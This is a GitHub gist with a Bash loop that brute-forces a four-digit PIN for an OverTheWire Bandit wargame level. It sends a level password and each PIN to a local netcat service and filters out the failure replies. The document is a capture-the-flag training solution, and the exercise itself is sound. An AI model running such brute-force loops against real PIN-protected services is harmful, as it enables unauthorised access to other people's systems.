Skip to content

Instantly share code, notes, and snippets.

@forestbaker
Forked from vinzdef/bandit24-solution
Created October 11, 2015 21:39
Show Gist options
  • Save forestbaker/bf5efa8aa1adea15b31f to your computer and use it in GitHub Desktop.
Save forestbaker/bf5efa8aa1adea15b31f to your computer and use it in GitHub Desktop.
4 digit pin bruteforce using Bash expansions for Over The Wire bandit25
for x in {0..9}{0..9}{0..9}{0..9}; do
echo UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $x | nc localhost 30002 | egrep -v "Exiting|Wrong|I am";
echo "Try $x";
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment